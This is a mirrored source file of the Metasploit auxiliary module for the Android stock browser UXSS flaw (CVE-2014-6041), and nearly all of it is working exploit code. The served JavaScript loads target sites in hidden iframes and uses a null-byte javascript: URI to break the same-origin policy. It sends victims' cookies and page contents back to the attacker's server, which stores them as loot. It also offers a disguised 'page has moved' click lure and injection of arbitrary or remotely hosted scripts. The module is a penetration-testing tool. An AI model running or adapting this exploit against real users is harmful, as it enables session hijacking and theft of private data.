CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/android_stock_browser_uxss.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpServer::HTML
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Android Open Source Platform (AOSP) Browser UXSS',
13
'Description' => %q{
14
This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in
15
all versions of Android's open source stock browser before 4.4, and Android apps running
16
on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug
17
to scrape both cookie data and page contents from a vulnerable browser window.
18
19
If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,
20
which will cause a popup window to be used. This requires a click from the user
21
and is much less stealthy, but is generally harmless-looking.
22
23
By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this
24
module also allows running arbitrary javascript in the context of the targeted URL.
25
Some sample UXSS scripts are provided in data/exploits/uxss.
26
},
27
'Author' => [
28
'Rafay Baloch', # Original discovery, disclosure
29
'joev' # Metasploit module
30
],
31
'License' => MSF_LICENSE,
32
'Actions' => [
33
[ 'WebServer' ]
34
],
35
'PassiveActions' => [
36
'WebServer'
37
],
38
'References' => [
39
[ 'URL', 'http://1337day.com/exploit/description/22581' ],
40
[ 'OSVDB', '110664' ],
41
[ 'CVE', '2014-6041' ]
42
],
43
'DefaultAction' => 'WebServer'
44
))
45
46
register_options([
47
OptString.new('TARGET_URLS', [
48
true,
49
"The comma-separated list of URLs to steal.",
50
'http://example.com'
51
]),
52
OptString.new('CUSTOM_JS', [
53
false,
54
"A string of javascript to execute in the context of the target URLs.",
55
''
56
]),
57
OptString.new('REMOTE_JS', [
58
false,
59
"A URL to inject into a script tag in the context of the target URLs.",
60
''
61
]),
62
OptBool.new('BYPASS_XFO', [
63
false,
64
"Bypass URLs that have X-Frame-Options by using a one-click popup exploit.",
65
false
66
]),
67
OptBool.new('CLOSE_POPUP', [
68
false,
69
"When BYPASS_XFO is enabled, this closes the popup window after exfiltration.",
70
true
71
])
72
])
73
end
74
75
def on_request_uri(cli, request)
76
print_status("Request '#{request.method} #{request.uri}'")
77
78
if request.method.downcase == 'post'
79
collect_data(request)
80
send_response_html(cli, '')
81
else
82
payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
83
domains = datastore['TARGET_URLS'].split(',')
84
85
html = <<-EOS
86
<html>
87
<body>
88
<script>
89
var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}"));
90
var bypassXFO = #{datastore['BYPASS_XFO']};
91
var received = [];
92
93
window.addEventListener('message', function(e) {
94
var data = JSON.parse(e.data);
95
if (!data.send) {
96
if (bypassXFO && data.i && received[data.i]) return;
97
if (bypassXFO && e.data) received.push(true);
98
}
99
var x = new XMLHttpRequest;
100
x.open('POST', window.location, true);
101
x.send(e.data);
102
}, false);
103
104
function randomString() {
105
var str = '';
106
for (var i = 0; i < 5+Math.random()*15; i++) {
107
str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26))
108
}
109
return str;
110
}
111
112
function installFrame(target) {
113
var f = document.createElement('iframe');
114
var n = randomString();
115
f.setAttribute('name', n);
116
f.setAttribute('src', target);
117
f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');
118
f.onload = function(){
119
attack(target, n);
120
};
121
document.body.appendChild(f);
122
}
123
124
function attack(target, n, i, cachedN) {
125
var exploit = function(){
126
window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+
127
'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+
128
'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+
129
'));}void(0);', n);
130
}
131
if (!n) {
132
n = cachedN || randomString();
133
var closePopup = #{datastore['CLOSE_POPUP']};
134
var w = window.open(target, n);
135
var deadman = setTimeout(function(){
136
clearInterval(clear);
137
clearInterval(clear2);
138
attack(targets[i], null, i, n);
139
}, 10000);
140
var clear = setInterval(function(){
141
if (received[i]) {
142
if (i < targets.length-1) {
143
try{ w.stop(); }catch(e){}
144
try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){}
145
}
146
147
clearInterval(clear);
148
clearInterval(clear2);
149
clearTimeout(deadman);
150
151
if (i < targets.length-1) {
152
setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100);
153
} else {
154
if (closePopup) w.close();
155
}
156
}
157
}, 50);
158
var clear2 = setInterval(function(){
159
try {
160
if (w.location.toString()) return;
161
if (w.document) return;
162
} catch(e) {}
163
clearInterval(clear2);
164
clear2 = setInterval(exploit, 50);
165
},20);
166
} else {
167
exploit();
168
}
169
}
170
171
var clickedOnce = false;
172
function onclickHandler() {
173
if (clickedOnce) return false;
174
clickedOnce = true;
175
attack(targets[0], null, 0);
176
return false;
177
}
178
179
window.onload = function(){
180
if (bypassXFO) {
181
document.querySelector('#click').style.display='block';
182
window.onclick = onclickHandler;
183
} else {
184
for (var i = 0; i < targets.length; i++) {
185
installFrame(targets[i]);
186
}
187
}
188
}
189
</script>
190
<div style='text-align:center;margin:20px 0;font-size:22px;display:none'
191
id='click' onclick='onclickHandler()'>
192
The page has moved. <a href='#'>Click here to be redirected.</a>
193
</div>
194
</body>
195
</html>
196
EOS
197
198
print_status("Sending initial HTML ...")
199
send_response_html(cli, html)
200
end
201
end
202
203
def collect_data(request)
204
response = JSON.parse(request.body)
205
url = response['url']
206
if response && url
207
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
208
print_good "Collected data from URL: #{url}"
209
print_good "Saved to: #{file}"
210
end
211
end
212
213
def backend_url
214
proto = (datastore["SSL"] ? "https" : "http")
215
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
216
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
217
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
218
end
219
220
def custom_js
221
rjs_hook + datastore['CUSTOM_JS']
222
end
223
224
def rjs_hook
225
remote_js = datastore['REMOTE_JS']
226
if remote_js.present?
227
"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "
228
else
229
''
230
end
231
end
232
233
def run
234
exploit
235
end
236
end
237
238